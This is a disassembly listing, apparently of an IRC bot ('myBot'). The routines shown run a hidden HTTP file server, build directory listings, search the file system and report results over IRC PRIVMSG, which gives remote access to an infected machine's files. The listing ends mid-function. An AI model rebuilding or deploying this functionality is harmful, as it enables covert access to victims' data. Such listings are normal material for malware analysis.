		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------


loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2711398h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------


loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFC4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------


loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h


loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB00C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------


loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2


loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------


loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------


loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al


loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al


loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D


loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_429998 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 2670ECEh
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------


loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi


loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi


loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AB0 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------


loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx


loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB00C
		jmp	loc_40F963
; ---------------------------------------------------------------------------


loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 26F0876h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 2730000h
		nop
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 26507ADh


loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433A7C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEB4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40F935


loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_40F923
; ---------------------------------------------------------------------------


loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB00C
		nop
		call	near ptr 26709FBh
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A44
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------


loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------


loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14


loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08


loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4


loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25C0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	near ptr 2750000h
		nop
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh


loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 27405D5h
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2740000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"


loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch


loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------


loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------


loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293C4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------


loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------


loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi


loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		nop
		call	near ptr 2660F2Bh


loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2750000h
		nop
		test	eax, eax
		jnz	loc_40FB8F


loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		call	near ptr 27303E7h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 26F0876h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		call	near ptr 2730000h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1


loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]


loc_41004D:				; DATA XREF: ___:00437A38o
					; ___:00437A4Co
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]


loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF08
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax


loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035


loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		call	near ptr 26507ADh
		nop


loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6


loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh


loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0


loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
